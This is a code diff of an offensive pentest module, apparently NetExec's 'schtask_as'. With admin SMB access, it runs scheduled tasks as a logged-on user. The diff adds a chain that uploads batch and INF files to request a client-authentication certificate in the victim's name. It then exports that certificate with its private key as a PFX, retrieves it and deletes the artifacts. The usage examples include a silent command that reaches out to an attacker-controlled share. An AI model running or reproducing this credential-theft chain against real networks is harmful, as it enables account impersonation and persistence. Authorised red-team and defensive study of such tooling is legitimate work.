1- import os
1+ from time import sleep
2+ from io import BytesIO
3+ from textwrap import dedent
4+ from os import path , makedirs
25from traceback import format_exc
6+
7+ from nxc .paths import NXC_PATH
38from nxc .helpers .misc import CATEGORY
9+ from nxc .helpers .misc import gen_random_string
410from nxc .protocols .smb .atexec import TSCH_EXEC
511
612
@@ -11,6 +17,7 @@ class NXCModule:
1117 Modified by @Defte_ so that output on multiples lines are printed correctly (28/04/2025)
1218 Modified by @Defte_ so that we can upload a custom binary to execute using the BINARY option (28/04/2025)
1319 Modified by @SGMG11 to execute the task without output
20+ Modified by @Defte_ to add certificate request on behalf of someone options
1421 """
1522 name = "schtask_as"
1623 description = "Remotely execute a scheduled task as a logged on user"
@@ -26,69 +33,136 @@ def options(self, context, module_options):
2633 FILE OPTIONAL: Set a name for the command output file
2734 LOCATION OPTIONAL: Set a location for the command output file (e.g. 'C:\\Windows\\Temp\\')
2835 SILENTCOMMAND OPTIONAL: Do not retrieve output
36+ CA OPTIONAL: Set the Certificate Authority name to ask the certificate from (i.e: SERVER\\CA_NAME)
37+ TEMPLATE OPTIONAL: Set the name of the template to request a certificate from
2938
3039 Example:
3140 -------
3241 nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=whoami
3342 nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='bin.exe --option' BINARY=bin.exe
3443 nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='dir \\<attacker-ip>\pwn' TASK='Legit Task' SILENTCOMMAND='True'
44+ nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=certreq CA='ADCS\whiteflag-ADCS-CA' TEMPLATE=User
3545 """
36- self .command_to_run = self .binary_to_upload = self .run_task_as = self .task_name = self .output_filename = self .output_file_location = self .time = None
46+ self .logger = context .log
47+ self .command_to_run = self .binary_to_upload = self .run_task_as = self .task_name = self .output_filename = self .output_file_location = self .time = self .ca_name = self .template_name = None
3748 self .share = "C$"
38- self .tmp_dir = "C:\\ Windows\\ Temp\\ "
39- self .tmp_path = self .tmp_dir .split (":" )[1 ]
40- self .show_output = True
41-
42- if "CMD" in module_options :
43- self .command_to_run = module_options ["CMD" ]
44-
45- if "BINARY" in module_options :
46- self .binary_to_upload = module_options ["BINARY" ]
47-
48- if "USER" in module_options :
49- self .run_task_as = module_options ["USER" ]
50-
51- if "TASK" in module_options :
52- self .task_name = module_options ["TASK" ]
53-
54- if "FILE" in module_options :
55- self .output_filename = module_options ["FILE" ]
56-
57- if "LOCATION" in module_options :
58- # Ensure trailing backslashes
59- self .output_file_location = module_options ["LOCATION" ].rstrip ("\\ " ) + "\\ "
60-
61- if "SILENTCOMMAND" in module_options and module_options ["SILENTCOMMAND" ] in ["True" , "yes" , "1" ]:
62- self .show_output = False
49+ self .output_file_location = "\\ Windows\\ Temp"
50+
51+ # Basic schtask_as parameters
52+ self .command_to_run = module_options .get ("CMD" )
53+ self .binary_to_upload = module_options .get ("BINARY" )
54+ self .run_task_as = module_options .get ("USER" )
55+
56+ # Task customization options
57+ self .task_name = module_options .get ("TASK" )
58+ self .output_filename = module_options .get ("FILE" , gen_random_string (8 ))
59+ self .output_file_location = module_options .get ("LOCATION" , self .output_file_location ).rstrip ("\\ " )
60+ self .show_output = module_options .get ("SILENTCOMMAND" , "" ).lower () not in {"true" , "yes" , "1" }
61+
62+ # ADCS certificate request options
63+ self .ca_name = module_options .get ("CA" )
64+ if self .ca_name :
65+ if "\\ " not in self .ca_name :
66+ context .log .fail ("CA name must be in the following format: SERVER_NAME\\ CertificateAuthority_Name" )
67+ exit (1 )
68+ elif "\\ \\ " in self .ca_name :
69+ self .ca_name = self .ca_name .replace ("\\ \\ " , "\\ " )
70+ self .template_name = module_options .get ("TEMPLATE" )
6371
6472 def on_admin_login (self , context , connection ):
65- self .logger = context .log
6673
6774 if self .command_to_run is None :
6875 self .logger .fail ("You need to specify a CMD to run" )
6976 return
7077
7178 if self .run_task_as is None :
72- self .logger .fail ("You need to specify a USER to run the command as" )
79+ self .logger .fail ("You need to specify a USER to run the task as" )
7380 return
7481
75- if self .show_output is False :
76- self .logger .display ("Command will be executed silently without output" )
82+ if self .command_to_run .lower () == "certreq" :
83+ if self .ca_name is None :
84+ self .logger .fail ("CertReq requires the CA name in the following format: SERVER_NAME\\ CertificateAuthority_Name" )
85+ return
86+
87+ if self .template_name is None :
88+ self .logger .fail ("CertReq requires the template to request a certificate from" )
89+ return
90+
91+ tmp_share = self .share .replace ("$" , ":" )
92+ full_path_prefixed_file = f"{ tmp_share } \\ { self .output_file_location } \\ { self .output_filename } "
93+ batch_file = BytesIO (dedent (f"""
94+ @echo off
95+ setlocal enabledelayedexpansion
96+
97+ certreq -new { full_path_prefixed_file } .inf { full_path_prefixed_file } .req > nul
98+ certreq -submit -config { self .ca_name } { full_path_prefixed_file } .req { full_path_prefixed_file } .cer > nul
99+
100+ set "HASH="
101+
102+ for /f "usebackq tokens=* delims=" %%L in (`certreq -accept { full_path_prefixed_file } .cer`) do (
103+ set "line=%%L"
104+
105+ for /f "tokens=2* delims=:" %%X in ("!line!") do (
106+ set "candidate=%%X"
107+ set "candidate=!candidate:~1!"
108+ echo !candidate! | findstr /R "^[0-9A-Fa-f][0-9A-Fa-f]*" > nul
109+ if not errorlevel 1 (
110+ if "!candidate:~40!"=="" (
111+ set "HASH=!candidate!"
112+ certutil -user -exportPFX -p "" !HASH! { full_path_prefixed_file } .pfx > nul
113+ )
114+ )
115+ )
116+ )
117+ exit
118+ """ ).encode ())
119+ connection .conn .putFile (self .share , f"{ self .output_file_location } \\ { self .output_filename } .bat" , batch_file .read )
120+ self .logger .success ("Upload batch file successfully" )
121+
122+ inf_file = BytesIO (dedent (f"""
123+ [Version]
124+ Signature="$Windows NT$"
125+
126+ [NewRequest]
127+ Subject = "CN={ self .run_task_as } "
128+ KeySpec = 1
129+ KeyLength = 2048
130+ Exportable = TRUE
131+ MachineKeySet = FALSE
132+ SMIME = FALSE
133+ PrivateKeyArchive = FALSE
134+ UserProtected = FALSE
135+ UseExistingKeySet = FALSE
136+ ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
137+ ProviderType = 12
138+ RequestType = PKCS10
139+ KeyUsage = 0xa0
140+
141+ [EnhancedKeyUsageExtension]
142+ OID=1.3.6.1.5.5.7.3.2
143+
144+ [RequestAttributes]
145+ CertificateTemplate = { self .template_name }
146+ """ ).encode ())
147+ connection .conn .putFile (self .share , f"{ self .output_file_location } \\ { self .output_filename } .inf" , inf_file .read )
148+ self .logger .success ("Upload INF file successfully" )
149+
150+ self .command_to_run = f"{ full_path_prefixed_file } .bat"
77151
78152 if self .binary_to_upload :
79- if not os . path .isfile (self .binary_to_upload ):
153+ if not path .isfile (self .binary_to_upload ):
80154 self .logger .fail (f"Cannot find { self .binary_to_upload } " )
81155 return
82156 else :
83157 self .logger .display (f"Uploading { self .binary_to_upload } " )
84- binary_file_location = self .tmp_path if self .output_file_location is None else self .output_file_location
85158 with open (self .binary_to_upload , "rb" ) as binary_to_upload :
86159 try :
87- self .binary_to_upload_name = os .path .basename (self .binary_to_upload )
88- connection .conn .putFile (self .share , f"{ binary_file_location } { self .binary_to_upload_name } " , binary_to_upload .read )
89- self .logger .success (f"Binary { self .binary_to_upload_name } successfully uploaded in { binary_file_location } { self .binary_to_upload_name } " )
160+ self .binary_to_upload_name = path .basename (self .binary_to_upload )
161+ connection .conn .putFile (self .share , f"{ self .output_file_location } \\ { self .binary_to_upload_name } " , binary_to_upload .read )
162+ self .command_to_run = f"{ self .output_file_location } \\ { self .command_to_run } "
163+ self .logger .success (f"Binary { self .binary_to_upload_name } successfully uploaded in { self .output_file_location } \\ { self .binary_to_upload_name } " )
90164 except Exception as e :
91- self .logger .fail (f"Error writing file to share { binary_file_location } : { e } " )
165+ self .logger .fail (f"Error writing file to { self . output_file_location } : { e } " )
92166 return
93167
94168 self .logger .display ("Connecting to the remote Service control endpoint" )
@@ -114,7 +188,11 @@ def on_admin_login(self, context, connection):
114188 self .output_file_location ,
115189 )
116190
117- self .logger .display (f"Executing '{ self .command_to_run } ' as '{ self .run_task_as } '" )
191+ if self .show_output is False :
192+ self .logger .display (f"Silently executing '{ self .command_to_run } ' as '{ self .run_task_as } '" )
193+ else :
194+ self .logger .display (f"Executing '{ self .command_to_run } ' as '{ self .run_task_as } '" )
195+
118196 output = exec_method .execute (self .command_to_run , self .show_output )
119197
120198 try :
@@ -127,13 +205,35 @@ def on_admin_login(self, context, connection):
127205 for line in output .splitlines ():
128206 self .logger .highlight (line .rstrip ())
129207
130- except Exception :
131- self .logger .debug ( "Error executing command via atexec, traceback: " )
208+ except Exception as e :
209+ self .logger .fail ( f "Error executing command via atexec: { e } " )
132210 self .logger .debug (format_exc ())
133211 finally :
134212 if self .binary_to_upload :
135213 try :
136- connection .conn .deleteFile (self .share , f"{ binary_file_location } { self .binary_to_upload_name } " )
137- context . log .success (f"Binary { binary_file_location } { self .binary_to_upload_name } successfully deleted" )
214+ connection .conn .deleteFile (self .share , f"{ self . output_file_location } \\ { self .binary_to_upload_name } " )
215+ self . logger .success (f"Binary { self . output_file_location } \\ { self .binary_to_upload_name } successfully deleted" )
138216 except Exception as e :
139- context .log .fail (f"Error deleting { binary_file_location } { self .binary_to_upload_name } on { self .share } : { e } " )
217+ self .logger .fail (f"Error deleting { self .output_file_location } { self .binary_to_upload_name } on { self .share } : { e } " )
218+
219+ if self .ca_name and self .template_name :
220+
221+ dump_path = path .join (NXC_PATH , "modules/schtask_as" )
222+ if not path .isdir (dump_path ):
223+ makedirs (dump_path )
224+
225+ # This sleep is required as the computing of the pfx file takes some time
226+ sleep (2 )
227+ with open (path .join (dump_path , f"{ self .run_task_as } .pfx" ), "wb+" ) as dump_file :
228+ try :
229+ connection .conn .getFile (self .share , f"{ self .output_file_location } \\ { self .output_filename } .pfx" , dump_file .write )
230+ self .logger .success (f"PFX file stored in { dump_path } /{ self .run_task_as } .pfx" )
231+ except Exception as e :
232+ self .logger .fail (f"Error while getting { self .output_file_location } \\ { self .output_filename } .pfx: { e } " )
233+
234+ for ext in [".bat" , ".inf" , ".cer" , ".req" , ".rsp" , ".pfx" , "" ]:
235+ try :
236+ connection .conn .deleteFile (self .share , f"{ self .output_file_location } \\ { self .output_filename } { ext } " )
237+ self .logger .debug (f"Successfully deleted { self .output_file_location } \\ { self .output_filename } { ext } " )
238+ except Exception as e :
239+ self .logger .debug (f"Couldn't delete { self .output_file_location } \\ { self .output_filename } { ext } : { e } " )
0 commit comments